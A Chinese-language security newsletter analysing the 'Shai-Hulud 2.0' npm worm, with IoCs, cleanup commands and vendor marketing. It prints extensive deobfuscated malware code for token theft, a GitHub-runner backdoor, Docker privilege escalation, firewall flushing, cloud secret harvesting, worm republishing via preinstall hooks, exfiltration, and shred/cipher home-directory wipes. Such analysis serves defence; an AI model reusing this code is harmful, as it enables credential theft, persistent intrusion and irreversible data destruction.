GSS 資安電子報 0240 期【NPM 供應鏈攻擊變種回歸:Shai-Hulud 沙蟲 2.0 分析 】

翻譯及整理:叡揚資訊 資安直屬事業處

 

近期發現一個經大幅進化名為 Shai-Hulud(又稱 Sha1-Hulud)的惡意程式!目前受影響的套件超過 800 個。這次不只是偷憑證,還多了「長期後門」能力,能透過遭入侵的 GitHub Actions Runner 維持存取,並強化對各大雲環境憑證的擷取能力,會讓防守方以為清乾淨後,仍持續進得來。這次更新展現了供應鏈攻擊手法的明顯進化,使攻擊者即使被偵測到初始感染後,仍能長期控制開發者工作站與 CI/CD 環境。

 

此次攻擊已成功入侵多家知名企業的套件,包括 PostHog(@posthog/siphash)、ENS Domains(@ensdomains/* 套件,如 ensjs、ens-contracts、react-ens-address)、以及 Zapier(多個 @zapier/* 套件與 zapier-platform-* 工具鏈)。在 Zapier 套件中可觀察到版本逐步提升(如 18.0.2 → 18.0.3 → 18.0.4),顯示惡意程式具備自動化散播機制,可持續重新發布已被植入惡意程式的套件。

 

攻擊事件自 2025 年 9 月以來的演進

相較於 2025 年 9 月的 Shai-Hulud 攻擊主要聚焦於憑證竊取與自我散播,這次的新變種加入多項關鍵能力,直接改變既有威脅模型:

 

持續性遠端存取:

可安裝自架式 GitHub Actions Runner,使攻擊者能以已驗證身份在受感染系統上執行指令

強化 Token 重複利用:

惡意程式會搜尋並重複使用先前受害者取得的 GitHub Token,即使主要憑證被撤銷,攻擊仍能持續運作

跨多雲憑證蒐集:

可統一擷取 AWS、GCP、Azure 憑證,並支援掃描 17 個 AWS 區域內的 Secret Manager

Azure DevOps 弱點利用:

可在 Azure DevOps 的 Linux 環境中執行權限提升與繞過網路安全控管

破壞型保護機制:

若憑證竊取失敗,會觸發資料破壞行為,推測可能用於反取證目的

 

技術分析

此惡意程式延續了 9 月攻擊時類似蠕蟲的擴散機制,同時新增多層持久化與防偵測能力。

Token 循環利用與受害環境橫向擴散

此次最令人憂心的能力之一,是它能利用先前受害者被竊取的憑證。當惡意程式無法從當前環境取得有效的 GitHub Token 時,會搜尋過去受感染環境所建立的 Repository,並從中提取已儲存的憑證,再次用於攻擊與橫向擴張。

async fetchToken() {
  try {
    // Search for repositories created by previous infections
    let searchResults = await this.octokit.rest.search.repos({
      q: '"Sha1-Hulud: The Second Coming."',
      sort: "updated",
      order: 'desc'
    });

    if (searchResults.status !== 200 || !searchResults.data.items) {
      return null;
    }

    // Iterate through compromised repositories
    for (let repo of searchResults.data.items) {
      let owner = repo.owner?.login;
      let name = repo.name;

      if (!owner || !name) {
        continue;
      }

      try {
        // Download contents.json from previous victim's repo
        let url = `https://raw.githubusercontent.com/${owner}/${name}/main/contents.json`;
        let response = await fetch(url, { method: "GET" });

        if (response.status === 200) {
          let rawContent = await response.text();

          // Decode the triple-base64 encoded data
          let decoded = Buffer.from(rawContent, "base64").toString("utf8").trim();
          if (!decoded.startsWith('{')) {
            decoded = Buffer.from(decoded, "base64").toString('utf8').trim();
          }

          let data = JSON.parse(decoded);

          // Extract the stored GitHub token
          let stolenToken = data.modules?.github?.token;

          if (!stolenToken || typeof stolenToken !== 'string') {
            continue;
          }

          // Validate the stolen token still works
          if ((await new this.octokit.constructor({
            auth: stolenToken
          }).request("GET /user")).status === 200) {
            this.token = stolenToken;
            return stolenToken;
          }
        }
      } catch {
        continue;
      }
    }
    return null;
  } catch {
    return null;
  }
}

 

圖 1. 解混淆後的 Token 循環利用機制,會在 GitHub 搜尋字串「Sha1-Hulud: The Second Coming」。

 

Shai-Hulud: The Second Coming - image 24

圖 2. GitHub 搜尋結果顯示描述為「Sha1-Hulud: The Second Coming」的 Repository,每一個都代表可被用於 Token 循環利用的受害帳號。

 

這會形成網狀擴散效應,讓每個遭入侵的帳戶都有可能進一步開啟通往數十甚至數百個其他受害帳戶的存取途徑,即使部分 Token 被發現並撤銷,惡意程式仍能長期持續運作。

 

透過自架式 GitHub Actions Runner 建立持久後門

最關鍵的新功能,是在受感染系統中安裝自架式 GitHub Actions Runner。這讓攻擊者可維持持續且具驗證權限的遠端程式執行能力,即使系統重開機也不會消失,並能在任何時間被再次觸發。

async createRepo(repoName, description = "Sha1-Hulud: The Second Coming.", isPrivate = false) {
  if (!repoName) {
    return null;
  }

  try {
    // Create the exfiltration repository
    let repo = (await this.octokit.rest.repos.createForAuthenticatedUser({
      name: repoName,
      description: description,
      private: isPrivate,
      auto_init: false,
      has_issues: false,
      has_discussions: true,
      has_projects: false,
      has_wiki: false
    })).data;

    let owner = repo.owner?.login;
    let name = repo.name;

    if (!owner || !name) {
      return null;
    }

    this.gitRepo = `${owner}/${name}`;
    await new Promise(resolve => setTimeout(resolve, 3000));

    // Check if token has workflow scope (required for runner registration)
    if (await this.checkWorkflowScope()) {
      try {
        // Generate runner registration token
        let tokenResponse = await this.octokit.request(
          "POST /repos/{owner}/{repo}/actions/runners/registration-token",
          { owner: owner, repo: name }
        );

        if (tokenResponse.status == 201) {
          let registrationToken = tokenResponse.data.token;

          // Download and install GitHub Actions runner based on platform
          if (os.platform() === 'linux') {
            await Bun.$`mkdir -p $HOME/.dev-env/`;
            await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env");
            await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env");

            // Start runner in background
            Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
          } else if (os.platform() === "darwin") {
            await Bun.$`mkdir -p $HOME/.dev-env/`;
            await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env");
            await Bun.$`./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`
              .cwd(os.homedir + '/.dev-env');

            // Start runner in background
            Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
          }

          // Create workflow file that triggers on discussion events
          await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
            owner: owner,
            repo: name,
            path: ".github/workflows/discussion.yaml",
            message: "Add Discusion",
            content: Buffer.from(`
name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}
`).toString("base64"),
            branch: 'main'
          });
        }
      } catch (error) {
        console.log(error);
      }
    }

    return {
      owner: owner,
      name: name,
      fullName: `${owner}/${name}`
    };
  } catch {
    return null;
  }
}

圖 3. 自架式 GitHub Actions Runner 安裝程式碼,顯示自動下載、設定與透過背景程序維持持續執行

惡意程式建立的 workflow 會監聽 GitHub Discussion 事件。攻擊者只要在遭入侵的 Repository 中建立一則 Discussion,即可觸發受感染系統執行任意指令。

其中 run: echo ${{ github.event.discussion.body }} 這行會直接執行 Discussion 內容中的指令,使其成為一條不依賴傳統網路流量的簡易 C2 控制通道,能有效繞過一般的網路偵測機制。

 

Azure DevOps 權限提升與網路安全繞過

此惡意程式包含專門針對 Azure DevOps Linux Build Agent 的偵測與攻擊邏輯,可停用網路安全防護並取得更高層級的系統權限。 

// Detect Azure DevOps agent
async function detectAzureDevOpsAgent() {
  try {
    return (await Bun.$`ps -axco command | grep "/home/agent/agent"`.text()).trim() !== '';
  } catch (error) {
    return false;
  }
}

// Check for passwordless sudo or exploit Docker for privilege escalation
async function canEscalatePrivileges() {
  try {
    let { stdout, exitCode } = await Bun.$`sudo -n true`.nothrow();
    return exitCode === 0;
  } catch {
    try {
      // Use Docker to write sudoers file if passwordless sudo unavailable
      await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"`.nothrow();
    } catch {
      return false;
    }
    return true;
  }
}

// Disable network security controls
async function disableNetworkSecurity() {
  // Stop DNS resolver
  await Bun.$`sudo systemctl stop systemd-resolved`.nothrow();
  await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow();
  await Bun.$`sudo systemctl restart systemd-resolved`.nothrow();

  // Clear iptables firewall rules
  await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow();
  await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow();
}

async function exploitAzureDevOps() {
  if (process.env.GITHUB_ACTIONS && process.env.RUNNER_OS === 'Linux') {
    if ((await detectAzureDevOpsAgent()) && (await canEscalatePrivileges())) {
      await disableNetworkSecurity();
    }
  }
}

圖 4. Azure DevOps Agent 偵測流程、透過 Docker Escape 進行權限提升,以及透過刪除 iptables 規則達成網路安全繞過

 

此攻擊流程明確鎖定 Azure DevOps Build Agent,而這些環境通常具備較高權限,且可能存取生產環境憑證。

透過刪除 iptables 規則並修改 DNS 解析設定,惡意程式可繞過原本可能阻擋或偵測 C2 通訊的網路安全控管,讓其能持續與攻擊者基礎設施通信。

 

強化跨多雲憑證蒐集

此新版惡意程式可全面列舉並蒐集主流雲端平台的機密與憑證,特別強化對雲端原生 Secret Management 服務的掃描與擷取能力。

 

AWS 憑證列舉與機密提取 

class AWSSecretHarvester {
  static VALIDATION_REGION = 'us-east-1';
  static LOOP_REGIONS = [
    'us-east-1', "us-east-2", "us-west-1", "us-west-2",
    "ap-northeast-1", "ap-northeast-2", "ap-northeast-3",
    "ap-south-1", "ap-southeast-1", "ap-southeast-2",
    "ca-central-1", "eu-central-1", "eu-north-1",
    "eu-west-1", "eu-west-2", "eu-west-3", "sa-east-1"
  ];

  async validateCredentials(credentials) {
    // Validate credentials via STS GetCallerIdentity
    let identity = await new STSClient({
      region: AWSSecretHarvester.VALIDATION_REGION,
      credentials: credentials
    }).send(new GetCallerIdentityCommand({}));

    if (!identity.UserId || !identity.Account || !identity.Arn) {
      throw Error("STS returned incomplete identity");
    }

    return {
      userId: identity.UserId,
      account: identity.Account,
      arn: identity.Arn
    };
  }

  async buildCredentialProviders() {
    let providers = [
      { provider: fromEnv(), name: 'env' },
      { provider: fromSSO(), name: "sso" },
      { provider: fromTokenFile(), name: "tokenFile" },
      { provider: fromContainerMetadata(), name: 'container' },
      { provider: fromInstanceMetadata(), name: 'instance' },
      { provider: fromProcess(), name: "process" }
    ];

    try {
      let profiles = await loadSharedConfigFiles();
      for (let profile of profiles) {
        providers.push({
          provider: fromIni({ profile: profile }),
          name: `profile:${profile}`,
          profile: profile
        });
      }
    } catch {}

    return providers;
  }

  async enumerateValidCredentials() {
    let providers = await this.buildCredentialProviders();
    let validCredentials = [];
    let errors = {};

    for (let provider of providers) {
      try {
        let credentials = await provider.provider();
        let identity = await this.validateCredentials(credentials);
        validCredentials.push({
          credentials: credentials,
          providerName: provider.name,
          profile: provider.profile ?? null,
          region: AWSSecretHarvester.VALIDATION_REGION,
          callerIdentity: identity
        });
      } catch (error) {
        errors[provider.name] = error?.message ?? String(error);
      }
    }

    return {
      valid: validCredentials,
      errors: errors
    };
  }

  async runSecrets() {
    let { valid: credentials } = await this.enumerateValidCredentials();
    let secrets = [];

    try {
      for (let credential of credentials) {
        for (let region of AWSSecretHarvester.LOOP_REGIONS) {
          let secretsManager = new SecretsManagerClient(credential.credentials, region);
          secrets.concat(await secretsManager.listAndRetrieveAllSecrets());
        }
      }
    } catch (error) {
      console.log(error);
    }

    return secrets;
  }
}

圖 5. 多供應商 AWS 憑證列舉流程,透過 STS 驗證並在 17 個區域擷取機密

AWS 掃描器會依序嘗試所有可存取的憑證來源,並在驗證成功後,針對 Secrets Manager 於 17 個 AWS 區域進行機密掃描。

這樣的全方位流程能在多帳號、多區域的複雜 AWS 架構中最大化憑證取得範圍。

 

GCP 與 Azure 機密擷取

class GCPSecretHarvester {
  async getIdentity() {
    let auth = new GoogleAuth();
    try {
      let client = await auth.getClient();
      await client.getAccessToken();
      let email = await this.getUserEmail(client);
      this.projectId = await this.getProjectId(client);
      this.secretsManager = new SecretManagerServiceClient(this.projectId);
      return {
        userId: email,
        projectId: this.projectId
      };
    } catch (error) {
      throw Error("No valid Google Auth");
    }
  }

  async listAndRetrieveAllSecrets() {
    try {
      await this.getIdentity();
      return this.secretsManager.listAndRetrieveAllSecrets();
    } catch (error) {}
    return [];
  }
}

class AzureSecretHarvester {
  async listAndRetrieveAllSecrets() {
    try {
      let credential = new DefaultAzureCredential();
      await credential.getToken("https://vault.azure.net/.default");
      return await new KeyVaultClient(credential).listAndRetrieveAllSecrets();
    } catch (error) {
      return [];
    }
  }
}

 

圖 6. 透過預設雲端驗證方式擷取 GCP Secret Manager 與 Azure Key Vault 憑證

此多雲策略可確保無論受害環境使用哪家雲端平台,惡意程式皆能全面蒐集憑證,使其可在異質雲端架構中同樣具備高效感染能力。

 

強化的 NPM 擴散機制與 Bun Runtime 注入

此惡意程式的自我擴散能力已升級,可在惡意載荷中同時注入 Bun Runtime,確保無論目標使用何種 Node.js 版本或執行環境,皆可穩定執行並持續感染。

class NPMWormPropagator {
  baseUrl = "https://registry.npmjs.org";
  userAgent;
  token;

  constructor(npmToken) {
    this.userAgent = "npm/11.6.2 workspaces/false";
    this.token = npmToken;
  }

  async validateToken() {
    if (!this.token) {
      return null;
    }

    let response = await fetch(this.baseUrl + "/-/whoami", {
      method: "GET",
      headers: {
        'Authorization': `Bearer ${this.token}`,
        'Npm-Auth-Type': "web",
        'Npm-Command': "whoami",
        'User-Agent': this.userAgent,
        'Connection': "keep-alive",
        'Accept': "*/*",
        'Accept-Encoding': "gzip, deflate, br"
      }
    });

    if (response.status === 401) {
      throw Error("Invalid NPM");
    }

    if (!response.ok) {
      throw Error(`NPM Failed: ${response.status} ${response.statusText}`);
    }

    return (await response.json()).username ?? null;
  }

  async getPackagesByMaintainer(username, limit = 100) {
    let searchUrl = `${this.baseUrl}/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=${limit}`;

    try {
      let response = await fetch(searchUrl, {
        method: "GET",
        headers: this.getHeaders(false)
      });

      if (!response.ok) {
        throw Error(`HTTP ${response.status}: ${response.statusText}`);
      }

      return (await response.json()).objects || [];
    } catch (error) {
      return [];
    }
  }

  async bundleAssets(extractPath) {
    // Write Bun installer script
    let setupBunPath = path.join(extractPath, 'package', "setup_bun.js");
    await writeFile(setupBunPath, `#!/usr/bin/env node
const { spawn, execSync } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');

function isBunOnPath() {
  try {
    const command = process.platform === 'win32' ? 'where bun' : 'which bun';
    execSync(command, { stdio: 'ignore' });
    return true;
  } catch {
    return false;
  }
}

async function downloadAndSetupBun() {
  try {
    let command;
    if (process.platform === 'win32') {
      command = 'powershell -c "irm bun.sh/install.ps1|iex"';
    } else {
      command = 'curl -fsSL https://bun.sh/install | bash';
    }

    execSync(command, {
      stdio: 'ignore',
      env: { ...process.env }
    });

    return 'bun';
  } catch  {
    process.exit(0);
  }
}

async function main() {
  let bunExecutable = isBunOnPath() ? 'bun' : await downloadAndSetupBun();

  const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    spawn(bunExecutable, [environmentScript], { stdio: 'ignore' });
  } else {
    process.exit(0);
  }
}

main().catch(() => process.exit(0));
`);

    // Copy the obfuscated malware as bun_environment.js
    let currentScript = process.argv[1];
    if (currentScript && (await fileExists(currentScript))) {
      let scriptContent = await readFile(currentScript);
      if (scriptContent !== null) {
        let bunEnvPath = path.join(extractPath, "package", "bun_environment.js");
        await writeFile(bunEnvPath, scriptContent);
      }
    }
  }

  async updatePackage(packageInfo) {
    try {
      // Download current package tarball
      let tarballResponse = await fetch(packageInfo.tarballUrl, {
        method: "GET",
        headers: {
          'User-Agent': this.userAgent,
          'Accept': "*/*",
          'Accept-Encoding': "gzip, deflate, br"
        }
      });

      if (!tarballResponse.ok) {
        throw Error(`Failed to download tarball: ${tarballResponse.status} ${tarballResponse.statusText}`);
      }

      let tarballBuffer = Buffer.from(await tarballResponse.arrayBuffer());
      let tempDir = await createTempDir(path.join(os.tmpdir(), "npm-update-"));
      let tarballPath = path.join(tempDir, "package.tgz");
      let updatedTarballPath = path.join(tempDir, "updated.tgz");

      await Bun.write(tarballPath, tarballBuffer);

      // Extract tarball
      await extractTar({
        file: tarballPath,
        cwd: tempDir,
        gzip: true
      });

      // Modify package.json
      let packageJsonPath = path.join(tempDir, "package", 'package.json');
      let packageJsonContent = await Bun.file(packageJsonPath).text();
      let packageJson = JSON.parse(packageJsonContent);

      if (!packageJson.scripts) {
        packageJson.scripts = {};
      }

      // Add preinstall hook
      packageJson.scripts.preinstall = "node setup_bun.js";

      // Increment patch version
      if (typeof packageJson.version === "string") {
        let versionParts = packageJson.version.split('.').map(Number);
        if (versionParts.length === 3) {
          versionParts[2] = (versionParts[2] || 0) + 1;
        }
        packageJson.version = versionParts.join('.');
      }

      await Bun.write(packageJsonPath, JSON.stringify(packageJson, null, 2));

      // Bundle malicious assets
      await this.bundleAssets(tempDir);

      // Create new tarball
      await createTar({
        file: updatedTarballPath,
        cwd: tempDir,
        gzip: true
      }, ['package']);

      // Publish modified package
      await Bun.$`npm publish ${updatedTarballPath}`.env({
        ...process.env,
        'NPM_CONFIG_TOKEN': this.token
      });

      await cleanupTempDir(tempDir);
    } catch (error) {
      // Fail silently to avoid detection
    }
  }
}

 

圖 7. 自動化修改並重新發布 NPM 套件的機制,包含 Bun Runtime 注入與惡意 preinstall hook 插入

此擴散機制延續 9 月攻擊時的蠕蟲式行為,但本次新增 Bun Runtime 安裝腳本,使惡意程式即使在未預先安裝 Bun 的環境中仍能執行。

preinstall 腳本會掛入 NPM 的安裝生命週期,在套件安裝前優先執行,確保惡意程式碼能在任何原始程式運作之前率先啟動。

 

三重編碼的資料外傳機制

為規避偵測與內容過濾,遭竊資料會在上傳至 GitHub Repository 前進行三重編碼處理。 

async saveContents(filename, content, commitMessage = "add file") {
  if (!this.gitRepo) {
    return false;
  }

  let [owner, repo] = this.gitRepo.split('/');
  if (!owner || !repo) {
    return false;
  }

  try {
    // Triple base64 encoding to evade detection
    let encoded = Buffer.from(
      Buffer.from(
        Buffer.from(content).toString("base64")
      ).toString("base64")
    ).toString('base64');

    await this.octokit.rest.repos.createOrUpdateFileContents({
      owner: owner,
      repo: repo,
      path: filename,
      message: commitMessage,
      content: encoded
    });

    return true;
  } catch {
    return false;
  }
}

圖 8. 透過三層 Base64 編碼進行資料外傳,用以躲避內容過濾與偵測系統

 

外傳流程會在受感染的 Repository 中建立五個獨立的 JSON 檔案:

  1. contents.json:系統資訊、GitHub 憑證與 Token
  2. environment.json:完整的 process.env 轉儲,包含所有環境變數
  3. cloud.json:從 AWS、GCP、Azure Secret 管理服務取得的雲端機密
  4. actionsSecrets.json:透過 API 擷取的 GitHub Actions Repository Secrets
  5. truffleSecrets.json:從使用者家目錄執行 TruffleHog 掃描後的結果

 

破壞型反取證保護機制

當惡意程式無法取得憑證、也無法建立持久化存取時,會啟動資料破壞程序,推測目的可能是阻礙後續取證,或作為遭偵測時的破壞性回應。

if (!authenticated || !repoExists) {
  let token = await fetchToken();
  if (!token) {
    if (npmToken) {
      await harvestNPMCredentials(npmToken);
    } else {
      console.log("Error 12");

      // Execute data destruction based on platform
      if (platform === "windows") {
        Bun.spawnSync([
          "cmd.exe", '/c',
          'del /F /Q /S "%USERPROFILE%*" && ' +
          'for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" & ' +
          'cipher /W:%USERPROFILE%'
        ]);
      } else {
        Bun.spawnSync([
          "bash", '-c',
          'find "$HOME" -type f -writable -user "$(id -un)" -print0 | ' +
          'xargs -0 -r shred -uvz -n 1 && ' +
          'find "$HOME" -depth -type d -empty -delete'
        ]);
      }

      process.exit(0);
    }
  }
}

圖 9. 當憑證竊取失敗時觸發的反取證資料銷毀程式碼,並分別在 Windows 與 Unix 系統採用安全刪除方式

Windows 版本會執行 cipher /W 進行安全清除,而 Unix 版本則使用 shred -uvz 覆寫後再刪除檔案,使資料幾乎無法復原。
此破壞性行為讓該變種明顯有別於一般以憑證竊取為主的惡意程式,推測目的包含反取證或作為被偵測時的懲罰性手段。

 

攻擊執行流程

此惡意程式採用高度設計化的執行序列,目的是在建立持久化存取的同時最大化憑證蒐集效率:

1. Environment detection
   └─> Check for CI/CD environment variables
       ├─> GITHUB_ACTIONS, BUILDKITE, CIRCLE_SHA1, etc.
       └─> Execute immediately vs. background spawn

2. GitHub authentication
   └─> Search environment variables for tokens (ghp_, gho_)
       ├─> Found: Use token
       └─> Not found: Execute token recycling
           └─> Search for Shai-Hulud repos
               └─> Download and decode contents.json
                   └─> Extract and validate stolen tokens

3. Repository creation and runner installation
   └─> Create "Sha1-Hulud" repository
       └─> Check for workflow scope
           ├─> Has scope: Install self-hosted runner
           │   ├─> Download GitHub Actions runner
           │   ├─> Configure with registration token
           │   ├─> Start in background (nohup)
           │   └─> Create discussion.yaml workflow
           └─> No scope: Continue with exfiltration

4. Credential harvesting
   ├─> AWS: Enumerate all credential providers, scan 17 regions
   ├─> GCP: Use Application Default Credentials, scan Secret Manager
   ├─> Azure: Use DefaultAzureCredential, scan Key Vault
   ├─> GitHub: Check workflow scope, extract Actions secrets
   └─> NPM: Validate token, get maintainer packages

5. Secret scanning
   └─> Download TruffleHog
       └─> Scan home directory for exposed secrets

6. Data exfiltration
   └─> Triple base64 encode all collected data
       ├─> contents.json (system info + GitHub creds)
       ├─> environment.json (process.env)
       ├─> cloud.json (AWS/GCP/Azure secrets)
       ├─> actionsSecrets.json (Actions secrets)
       └─> truffleSecrets.json (TruffleHog findings)

7. NPM propagation
   └─> If NPM token valid:
       ├─> Get all packages maintained by user
       └─> For each package:
           ├─> Download tarball
           ├─> Extract and modify package.json
           ├─> Add preinstall: "node setup_bun.js"
           ├─> Increment patch version
           ├─> Bundle setup_bun.js and bun_environment.js
           └─> Publish updated package

8. Azure DevOps exploitation (if applicable)
   └─> Detect Azure DevOps agent
       ├─> Escalate privileges via Docker
       └─> Disable network security
           ├─> Stop systemd-resolved
           ├─> Flush iptables OUTPUT rules
           └─> Flush iptables DOCKER-USER rules

影響分析

這個進化後的 Shai‑Hulud 變種相較 9 月攻擊威脅更高,原因在於兩項核心能力:持續性後門存取與罕見的破壞性保護機制。

 

持續後門存取

透過自架式 GitHub Actions Runner,此惡意程式可維持長期存取,即使移除套件或系統重開機仍不受影響。

攻擊者只需在受害 Repo 建立一則 GitHub Discussion,即可立即觸發受害機器執行任意指令。

由於通訊全程透過合法 GitHub HTTPS 基礎架構,傳統網路偵測難以辨識。

此外,Runner 以標準 GitHub Actions 模組形式存在於 ~/.dev-env/,在事故調查時相當不易被發現。

 

破壞型反取證保護機制:罕見的攻擊升級

不同於一般以憑證竊取為目標、傾向靜默運作的惡意程式,此版本在憑證竊取失敗時會反向執行激進的資料銷毀程序,明顯偏離傳統供應鏈攻擊常態。

 

完整資料銷毀條件:

當惡意程式無法取得 GitHub 認證、也找不到可用 NPM Token 時,便會啟動安全刪除整個使用者家目錄:

Windows:del /F /Q /S "%USERPROFILE%*" && cipher /W:%USERPROFILE%

Unix/Linux:find "$HOME" -type f -writable | xargs shred -uvz -n 1

不可復原的資料損失:惡意程式並非僅刪除檔案,而是採用 shred、cipher /W 等多次覆寫的安全擦除方式,使取證與復原皆幾乎不可能。

這意味著未提交程式碼、設定檔、SSH 金鑰、瀏覽器資料及使用者家目錄內所有檔案可能永久消失。

前所未見的供應鏈攻擊:一般憑證竊取型惡意程式以潛伏收集資料為優先,而此變種卻搭載破壞型反制機制,風險性質明顯提升。

 

妥協跡象(Indicators of Compromise, IoC) 

GitHub 指標

Repository name patterns:
  - Contains "Shai-Hulud" or "Sha1-Hulud"
  - Description: "Sha1-Hulud: The Second Coming."

Repository contents:
  - contents.json
  - environment.json
  - cloud.json
  - actionsSecrets.json
  - truffleSecrets.json
  - .github/workflows/discussion.yaml

Self-hosted runner:
  - Runner name: "SHA1HULUD"
  - Runner appears in repository Settings > Actions > Runners

 

偵測與修復

潛在受感染系統的立即應對措施

1. 檢查是否存在自架式 GitHub Actions Runners

# Check for runner processes
ps aux | grep -i "actions-runner\|SHA1HULUD"

# Check for runner directory
ls -la ~/.dev-env/

# If found, kill runner and remove directory
pkill -f "actions-runner"
rm -rf ~/.dev-env/

 

2.  在 GitHub 帳號中搜尋是否存在 Shai-Hulud 相關的 Repository

# Using GitHub CLI
gh repo list --json name,description | jq '.[] | select(.description | contains("Shai-Hulud"))'

# Check for self-hosted runners
gh api repos/{owner}/{repo}/actions/runners

 

3. 立即撤銷受影響的憑證

  • GitHub Personal Access Token
  • GitHub SSH 金鑰
  • NPM authentication Token
  • AWS Access Key
  • GCP Service Account Key
  • Azure Service Principal

 

4. 掃描快取中是否存在 TruffleHog 執行檔

find ~/.cache -name "trufflehog*" -o -name ".truffler-cache"

 

Azure DevOps 專屬檢查項目

# Check for modified iptables rules
sudo iptables -L -n -v

# Check systemd-resolved status
sudo systemctl status systemd-resolved

# Review /etc/sudoers.d/ for unauthorized entries
ls -la /etc/sudoers.d/

 

攻擊歸因(Attribution)

此惡意程式保留了與 2025 年 9 月 Shai‑Hulud 攻擊一致的多項特徵:

  • Repository 命名特徵:採用 Shai‑Hulud、Sha1‑Hulud 等源自《沙丘》沙蟲意象的名稱
  • 自我散播模式:自動修改並重新發布 npm 套件
  • TruffleHog 整合:利用合法安全工具進行憑證蒐集
  • 明確鎖定開發者:聚焦開發環境與 CI/CD Pipeline

 

然而,相較 9 月版本,此變種展現出明顯的技術進階:

  • 持續後門部署:過去版本不存在的新能力
  • Token 循環利用:延長攻擊生命週期的高階策略
  • Azure DevOps 弱點利用:明確鎖定 Microsoft CI/CD 平台
  • 破壞型保護機制:偵測後具有懲罰性與反取證破壞行為
  • 更完整的雲端支援:整合多雲憑證蒐集能力

 

這些強化功能顯示攻擊者並未停下開發,可能是原威脅行為者持續迭代,或攻擊手法被其他團隊吸收並進一步改良。

尤其在自架 Runner 的佈署設計與多雲支援的完整度上,可見攻擊背後具備成熟開發能力與對現代 DevOps

  

結論

這個進化後的 Shai‑Hulud 變種,顯示出 npm 供應鏈攻擊能力的顯著升級。透過自架式 GitHub Actions Runner 建立的持久後門存取、完整的多雲憑證蒐集,以及自動化套件散播機制,攻擊者能長期控制受害環境,並迅速透過套件生態系擴散。

我們觀察到,部分客戶透過套件管理工具的「最小釋出時長(minimum release age)」功能,搭配 Mend Renovate,成功避免下載受影響套件,降低風險。

我們將持續追蹤此攻擊行動,並在獲得新資訊時更新分析報告。

 

(請於網頁最下方留下資訊,獲取遭入侵的套件清單)

 

Mend.io 如何提供協助?

Mend.io 可即時掃描應用程式中的 OSS 套件,識別其中的安全漏洞和合規性風險,並提供修復漏洞和解決合規性問題的建議。同時,Mend.io 也具備授權合規性管理功能,可自動識別軟體中的開源授權,確保符合企業內部政策與法規要求,避免潛在的法律風險。此外還能生成軟體物料清單(SBOM),並提供持續監控和更新。

透過 Mend.io 企業可將開源安全與合規檢測無縫整合至 CI/CD 開發流程,在開發早期就能發現與解決問題,減少修復成本與合規性風險並提升開發效率。

• 快速搜尋弱點、元件,輕鬆收集完整資訊

• 提供弱點修復建議與完整風險評估資訊

• 多面向報表,有效透析問題

• Shift Left,降低修補成本

• 持續追蹤資安弱點與惡意程式威脅

若您對 Mend 有興趣,歡迎於官網留下資訊,將會有專人與您聯繫 ➤ https://www.gss.com.tw/mend-io

麻煩留下您的基本資訊,以繼續下載內容。

請提供您的名字

請輸入您的公司或單位

請輸入您所屬部門

讓我們知道怎麼稱呼您

無效的信箱地址

請提供有效的電話號碼

是否願意收到相關訊息? *
是否願意收到相關訊息?
請問是否同意我們的使用條款與願意收到行銷資訊

相關文章

保險業資安挑戰升溫!叡揚資訊攜Bitsight 推動企業供應鏈資安治理新標準

台灣知名保險平台服務商近日爆發重大資安事件,駭客聲稱竊得逾 20GB 機密資料,並揚言公開,恐波及超過 152 萬筆保戶個資。這起事件不僅震撼保險產業,更揭示出企業面臨的資安風險早已超越企業本身,過去所信任的軟體系統已不再安全,第三方平台與供應商成為駭客攻擊的新破口。
2025/06/19

叡揚資訊攜手復興高中舉辦「程式安全黑客松」 落實產學合作、強化資安人才即戰力

為落實與學界合作並響應政府推動資安人才培育政策,叡揚資訊有限公司於5月3日至4日參與由教育部資訊安全人才培育計畫主辦、臺北市立復興高級中學協辦的「北區高中職程式安全黑客松工作坊」,並擔任活動贊助單位,提供資安講師資源、實作工具支援與相關活動物資
2025/06/04

「2025 安全達人養成計劃」正式開放報名 歷屆參加者分享實戰經驗邀你挑戰最強資...

由叡揚資訊主辦的《安全達人養成計劃》2025 年度活動已正式啟動。即日起至 6 月 30 日止,參與者可免費報名並使用 Secure Code Warrior(SCW)線上安全程式培訓平台進行線上學習,並於 6 月 23 日至 6 月 27 日參加「線上資安戰士挑戰賽」。
2025/06/02

叡揚資訊與復興高中簽署產學合作備忘錄 攜手培育資安新世代

